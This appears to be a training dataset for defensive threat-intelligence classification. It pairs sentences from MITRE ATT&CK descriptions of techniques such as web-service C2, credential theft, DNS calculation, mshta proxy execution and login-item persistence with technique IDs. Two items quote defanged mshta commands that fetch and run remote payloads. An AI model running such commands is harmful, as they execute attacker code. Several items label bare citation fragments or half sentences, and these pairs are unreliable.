Instruction: List the MITRE techniques contained in the text.

Input: Adversaries may also check for legitimate user activity to help determine if it is in an analysis environment.

Output: T1497

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also check for legitimate user activity to help determine if it is in an analysis environment. ### Response: T1497.


Instruction: List the MITRE techniques contained in the text.

Input: Additional methods include use of sleep timers or loops within malware code to avoid operating within a temporary sandbox.(Citation: Unit 42 Pirpi July 2015)

Output: T1497

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Additional methods include use of sleep timers or loops within malware code to avoid operating within a temporary sandbox.(Citation: Unit 42 Pirpi July 2015) ### Response: T1497.


Instruction: List the MITRE techniques contained in the text.

Input: Adversaries may use an existing, legitimate external Web service as a means for sending commands to a compromised system without receiving return output over the Web service channel.

Output: T1102.003

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use an existing, legitimate external Web service as a means for sending commands to a compromised system without receiving return output over the Web service channel. ### Response: T1102.003.


Instruction: List the MITRE techniques contained in the text.

Input: Compromised systems may leverage popular websites and social media to host command and control (C2) instructions.

Output: T1102.003

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. ### Response: T1102.003.


Instruction: List the MITRE techniques contained in the text.

Input: Those infected systems may opt to send the output from those commands back over a different C2 channel, including to another distinct Web service.

Output: T1102.003

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Those infected systems may opt to send the output from those commands back over a different C2 channel, including to another distinct Web service. ### Response: T1102.003.


Instruction: List the MITRE techniques contained in the text.

Input: Alternatively, compromised systems may return no output at all in cases where adversaries want to send instructions to systems and do not want a response.

Output: T1102.003

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Alternatively, compromised systems may return no output at all in cases where adversaries want to send instructions to systems and do not want a response. ### Response: T1102.003.


Instruction: List the MITRE techniques contained in the text.

Input: Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise.

Output: T1102.003

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. ### Response: T1102.003.


Instruction: List the MITRE techniques contained in the text.

Input: Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise.

Output: T1102.003

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. ### Response: T1102.003.


Instruction: List the MITRE techniques contained in the text.

Input: Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.

Output: T1102.003

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection. ### Response: T1102.003.


Instruction: List the MITRE techniques contained in the text.

Input: Adversaries may use an existing, legitimate external Web service to host information that points to additional command and control (C2) infrastructure.

Output: T1102.001

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use an existing, legitimate external Web service to host information that points to additional command and control (C2) infrastructure. ### Response: T1102.001.


Instruction: List the MITRE techniques contained in the text.

Input: Adversaries may post content, known as a dead drop resolver, on Web services with embedded (and often obfuscated/encoded) domains or IP addresses.

Output: T1102.001

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may post content, known as a dead drop resolver, on Web services with embedded (and often obfuscated/encoded) domains or IP addresses. ### Response: T1102.001.


Instruction: List the MITRE techniques contained in the text.

Input: Once infected, victims will reach out to and be redirected by these resolvers.

Output: T1102.001

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Once infected, victims will reach out to and be redirected by these resolvers. ### Response: T1102.001.


Instruction: List the MITRE techniques contained in the text.

Input: Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise.

Output: T1102.001

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. ### Response: T1102.001.


Instruction: List the MITRE techniques contained in the text.

Input: Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise.

Output: T1102.001

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. ### Response: T1102.001.


Instruction: List the MITRE techniques contained in the text.

Input: Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.

Output: T1102.001

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection. ### Response: T1102.001.


Instruction: List the MITRE techniques contained in the text.

Input: Use of a dead drop resolver may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).

Output: T1102.001

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Use of a dead drop resolver may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed). ### Response: T1102.001.


Instruction: List the MITRE techniques contained in the text.

Input: Adversaries may use an existing, legitimate external Web service as a means for sending commands to and receiving output from a compromised system over the Web service channel.

Output: T1102.002

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use an existing, legitimate external Web service as a means for sending commands to and receiving output from a compromised system over the Web service channel. ### Response: T1102.002.


Instruction: List the MITRE techniques contained in the text.

Input: Compromised systems may leverage popular websites and social media to host command and control (C2) instructions.

Output: T1102.002

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. ### Response: T1102.002.


Instruction: List the MITRE techniques contained in the text.

Input: Those infected systems can then send the output from those commands back over that Web service channel.

Output: T1102.002

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Those infected systems can then send the output from those commands back over that Web service channel. ### Response: T1102.002.


Instruction: List the MITRE techniques contained in the text.

Input: The return traffic may occur in a variety of ways, depending on the Web service being utilized.

Output: T1102.002

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The return traffic may occur in a variety of ways, depending on the Web service being utilized. ### Response: T1102.002.


Instruction: List the MITRE techniques contained in the text.

Input: For example, the return traffic may take the form of the compromised system posting a comment on a forum, issuing a pull request to development project, updating a document hosted on a Web service, or by sending a Tweet.

Output: T1102.002

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, the return traffic may take the form of the compromised system posting a comment on a forum, issuing a pull request to development project, updating a document hosted on a Web service, or by sending a Tweet. ### Response: T1102.002.


Instruction: List the MITRE techniques contained in the text.

Input: Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise.

Output: T1102.002

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. ### Response: T1102.002.


Instruction: List the MITRE techniques contained in the text.

Input: Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise.

Output: T1102.002

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. ### Response: T1102.002.


Instruction: List the MITRE techniques contained in the text.

Input: Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.

Output: T1102.002

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection. ### Response: T1102.002.


Instruction: List the MITRE techniques contained in the text.

Input: Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system.

Output: T1102

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. ### Response: T1102.


Instruction: List the MITRE techniques contained in the text.

Input: Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise.

Output: T1102

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. ### Response: T1102.


Instruction: List the MITRE techniques contained in the text.

Input: Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise.

Output: T1102

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. ### Response: T1102.


Instruction: List the MITRE techniques contained in the text.

Input: Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.

Output: T1102

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection. ### Response: T1102.


Instruction: List the MITRE techniques contained in the text.

Input: Use of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).

Output: T1102

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Use of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed). ### Response: T1102.


Instruction: List the MITRE techniques contained in the text.

Input: Adversaries may search compromised systems to find and obtain insecurely stored credentials.

Output: T1552

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may search compromised systems to find and obtain insecurely stored credentials. ### Response: T1552.


Instruction: List the MITRE techniques contained in the text.

Input: These credentials can be stored and/or misplaced in many locations on a system, including plaintext files (e.g. [Bash History](https://attack.mitre.org/techniques/T1552/003)), operating system or application-specific repositories (e.g. [Credentials in Registry](https://attack.mitre.org/techniques/T1552/002)), or other specialized files/artifacts (e.g. [Private Keys](https://attack.mitre.org/techniques/T1552/004)).

Output: T1552

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These credentials can be stored and/or misplaced in many locations on a system, including plaintext files (e.g. [Bash History](https://attack.mitre.org/techniques/T1552/003)), operating system or application-specific repositories (e.g. [Credentials in Registry](https://attack.mitre.org/techniques/T1552/002)), or other specialized files/artifacts (e.g. [Private Keys](https://attack.mitre.org/techniques/T1552/004)). ### Response: T1552.


Instruction: List the MITRE techniques contained in the text.

Input: Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials.

Output: T1552.001

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. ### Response: T1552.001.


Instruction: List the MITRE techniques contained in the text.

Input: These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.

Output: T1552.001

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords. ### Response: T1552.001.


Instruction: List the MITRE techniques contained in the text.

Input: It is possible to extract passwords from backups or saved virtual machines through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003).

Output: T1552.001

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: It is possible to extract passwords from backups or saved virtual machines through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). ### Response: T1552.001.


Instruction: List the MITRE techniques contained in the text.

Input: (Citation: CG 2014)

Output: T1552.001

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: CG 2014) ### Response: T1552.001.


Instruction: List the MITRE techniques contained in the text.

Input: Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller.

Output: T1552.001

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller. ### Response: T1552.001.


Instruction: List the MITRE techniques contained in the text.

Input: (Citation: SRD GPP)

Output: T1552.001

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: SRD GPP) ### Response: T1552.001.


Instruction: List the MITRE techniques contained in the text.

Input: In cloud and/or containerized environments, authenticated user and service account credentials are often stored in local configuration and credential files.(Citation: Unit 42 Hildegard Malware)

Output: T1552.001

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In cloud and/or containerized environments, authenticated user and service account credentials are often stored in local configuration and credential files.(Citation: Unit 42 Hildegard Malware) ### Response: T1552.001.


Instruction: List the MITRE techniques contained in the text.

Input: They may also be found as parameters to deployment commands in container logs.(Citation:

Output: T1552.001

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: They may also be found as parameters to deployment commands in container logs.(Citation: ### Response: T1552.001.


Instruction: List the MITRE techniques contained in the text.

Input: Unit 42 Unsecured Docker Daemons)

Output: T1552.001

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Unit 42 Unsecured Docker Daemons) ### Response: T1552.001.


Instruction: List the MITRE techniques contained in the text.

Input: In some cases, these files can be copied and reused on another machine or the contents can be read and then used to authenticate without needing to copy any files.(Citation: Specter Ops - Cloud Credential Storage)

Output: T1552.001

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In some cases, these files can be copied and reused on another machine or the contents can be read and then used to authenticate without needing to copy any files.(Citation: Specter Ops - Cloud Credential Storage) ### Response: T1552.001.


Instruction: List the MITRE techniques contained in the text.

Input: Adversaries may dynamically establish connections to command and control infrastructure to evade common detections and remediations.

Output: T1568

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may dynamically establish connections to command and control infrastructure to evade common detections and remediations. ### Response: T1568.


Instruction: List the MITRE techniques contained in the text.

Input: This may be achieved by using malware that shares a common algorithm with the infrastructure the adversary uses to receive the malware's communications.

Output: T1568

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may be achieved by using malware that shares a common algorithm with the infrastructure the adversary uses to receive the malware's communications. ### Response: T1568.


Instruction: List the MITRE techniques contained in the text.

Input: These calculations can be used to dynamically adjust parameters such as the domain name, IP address, or port number the malware uses for command and control.

Output: T1568

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These calculations can be used to dynamically adjust parameters such as the domain name, IP address, or port number the malware uses for command and control. ### Response: T1568.


Instruction: List the MITRE techniques contained in the text.

Input: Adversaries may use dynamic resolution for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008).

Output: T1568

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use dynamic resolution for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). ### Response: T1568.


Instruction: List the MITRE techniques contained in the text.

Input: When contact is lost with the primary command and control server malware may employ dynamic resolution as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation:

Output: T1568

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When contact is lost with the primary command and control server malware may employ dynamic resolution as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: ### Response: T1568.


Instruction: List the MITRE techniques contained in the text.

Input: FireEye POSHSPY April 2017)(Citation:

Output: T1568

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: FireEye POSHSPY April 2017)(Citation: ### Response: T1568.


Instruction: List the MITRE techniques contained in the text.

Input: ESET Sednit 2017 Activity)

Output: T1568

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: ESET Sednit 2017 Activity) ### Response: T1568.


Instruction: List the MITRE techniques contained in the text.

Input: Adversaries may perform calculations on addresses returned in DNS results to determine which port and IP address to use for command and control, rather than relying on a predetermined port number or the actual returned IP address.

Output: T1568.003

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may perform calculations on addresses returned in DNS results to determine which port and IP address to use for command and control, rather than relying on a predetermined port number or the actual returned IP address. ### Response: T1568.003.


Instruction: List the MITRE techniques contained in the text.

Input: A IP and/or port number calculation can be used to bypass egress filtering on a C2 channel.(Citation: Meyers Numbered Panda)

Output: T1568.003

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A IP and/or port number calculation can be used to bypass egress filtering on a C2 channel.(Citation: Meyers Numbered Panda) ### Response: T1568.003.


Instruction: List the MITRE techniques contained in the text.

Input: One implementation of [DNS Calculation](https://attack.mitre.org/techniques/T1568/003) is to take the first three octets of an IP address in a DNS response and use those values to calculate the port for command and control traffic.(Citation:

Output: T1568.003

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: One implementation of [DNS Calculation](https://attack.mitre.org/techniques/T1568/003) is to take the first three octets of an IP address in a DNS response and use those values to calculate the port for command and control traffic.(Citation: ### Response: T1568.003.


Instruction: List the MITRE techniques contained in the text.

Input: Meyers Numbered Panda)(Citation: Moran 2014)(Citation: Rapid7G20Espionage)

Output: T1568.003

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Meyers Numbered Panda)(Citation: Moran 2014)(Citation: Rapid7G20Espionage) ### Response: T1568.003.


Instruction: List the MITRE techniques contained in the text.

Input: Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed, or otherwise trusted, binaries.

Output: T1218

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed, or otherwise trusted, binaries. ### Response: T1218.


Instruction: List the MITRE techniques contained in the text.

Input: Binaries used in this technique are often Microsoft-signed files, indicating that they have been either downloaded from Microsoft or are already native in the operating system.(Citation: LOLBAS Project)

Output: T1218

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Binaries used in this technique are often Microsoft-signed files, indicating that they have been either downloaded from Microsoft or are already native in the operating system.(Citation: LOLBAS Project) ### Response: T1218.


Instruction: List the MITRE techniques contained in the text.

Input: Binaries signed with trusted digital certificates can typically execute on Windows systems protected by digital signature validation.

Output: T1218

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Binaries signed with trusted digital certificates can typically execute on Windows systems protected by digital signature validation. ### Response: T1218.


Instruction: List the MITRE techniques contained in the text.

Input: Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files or commands.

Output: T1218

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files or commands. ### Response: T1218.


Instruction: List the MITRE techniques contained in the text.

Input: Similarly, on Linux systems adversaries may abuse trusted binaries such as split to proxy execution of malicious commands.(Citation: split man page)(Citation: GTFO split)

Output: T1218

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Similarly, on Linux systems adversaries may abuse trusted binaries such as split to proxy execution of malicious commands.(Citation: split man page)(Citation: GTFO split) ### Response: T1218.


Instruction: List the MITRE techniques contained in the text.

Input: Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility.

Output: T1218.005

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. ### Response: T1218.005.


Instruction: List the MITRE techniques contained in the text.

Input: There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm)

Output: T1218.005

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) ### Response: T1218.005.


Instruction: List the MITRE techniques contained in the text.

Input:
(Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017)

Mshta.exe is a utility that executes Microsoft HTML Applications (HTA) files.

Output: T1218.005

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017)

Mshta.exe is a utility that executes Microsoft HTML Applications (HTA) files. ### Response: T1218.005.


Instruction: List the MITRE techniques contained in the text.

Input: (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser.

Output: T1218.005

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. ### Response: T1218.005.


Instruction: List the MITRE techniques contained in the text.

Input:
(Citation: MSDN HTML Applications)

Files may be executed by mshta.exe through an inline script: mshta vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct"")"))

Output: T1218.005

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: MSDN HTML Applications)

Files may be executed by mshta.exe through an inline script: mshta vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct"")")) ### Response: T1218.005.


Instruction: List the MITRE techniques contained in the text.

Input:
They may also be executed directly from URLs: mshta http[:]//webserver/payload[.]hta

Mshta.exe can be used to bypass application control solutions that do not account for its potential use.

Output: T1218.005

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: They may also be executed directly from URLs: mshta http[:]//webserver/payload[.]hta

Mshta.exe can be used to bypass application control solutions that do not account for its potential use. ### Response: T1218.005.


Instruction: List the MITRE techniques contained in the text.

Input: Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings.

Output: T1218.005

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. ### Response: T1218.005.


Instruction: List the MITRE techniques contained in the text.

Input: (Citation: LOLBAS Mshta)

Output: T1218.005

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: LOLBAS Mshta) ### Response: T1218.005.


Instruction: List the MITRE techniques contained in the text.

Input: Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems.

Output: T1547

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems. ### Response: T1547.


Instruction: List the MITRE techniques contained in the text.

Input: Operating systems may have mechanisms for automatically running a program on system boot or account logon.(Citation: Microsoft Run Key)(Citation: MSDN Authentication Packages)(Citation:

Output: T1547

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Operating systems may have mechanisms for automatically running a program on system boot or account logon.(Citation: Microsoft Run Key)(Citation: MSDN Authentication Packages)(Citation: ### Response: T1547.


Instruction: List the MITRE techniques contained in the text.

Input: Microsoft TimeProvider)(Citation: Cylance Reg Persistence Sept 2013)(Citation: Linux Kernel Programming)

Output: T1547

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft TimeProvider)(Citation: Cylance Reg Persistence Sept 2013)(Citation: Linux Kernel Programming) ### Response: T1547.


Instruction: List the MITRE techniques contained in the text.

Input: These mechanisms may include automatically executing programs that are placed in specially designated directories or are referenced by repositories that store configuration information, such as the Windows Registry.

Output: T1547

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These mechanisms may include automatically executing programs that are placed in specially designated directories or are referenced by repositories that store configuration information, such as the Windows Registry. ### Response: T1547.


Instruction: List the MITRE techniques contained in the text.

Input: An adversary may achieve the same goal by modifying or extending features of the kernel.

Output: T1547

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may achieve the same goal by modifying or extending features of the kernel. ### Response: T1547.


Instruction: List the MITRE techniques contained in the text.

Input: Since some boot or logon autostart programs run with higher privileges, an adversary may leverage these to elevate privileges.

Output: T1547

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Since some boot or logon autostart programs run with higher privileges, an adversary may leverage these to elevate privileges. ### Response: T1547.


Instruction: List the MITRE techniques contained in the text.

Input: Adversaries may add login items to execute upon user login to gain persistence or escalate privileges.

Output: T1547.015

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may add login items to execute upon user login to gain persistence or escalate privileges. ### Response: T1547.015.


Instruction: List the MITRE techniques contained in the text.

Input: Login items are applications, documents, folders, or server connections that are automatically launched when a user logs in.(Citation: Open Login Items Apple) Login items can be added via a shared file list or Service Management Framework.(Citation: Adding Login Items) Shared file list login items can be set using scripting languages such as [AppleScript](https://attack.mitre.org/techniques/T1059/002), whereas the Service Management Framework uses the API call SMLoginItemSetEnabled.

Output: T1547.015

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Login items are applications, documents, folders, or server connections that are automatically launched when a user logs in.(Citation: Open Login Items Apple) Login items can be added via a shared file list or Service Management Framework.(Citation: Adding Login Items) Shared file list login items can be set using scripting languages such as [AppleScript](https://attack.mitre.org/techniques/T1059/002), whereas the Service Management Framework uses the API call SMLoginItemSetEnabled. ### Response: T1547.015.


Instruction: List the MITRE techniques contained in the text.

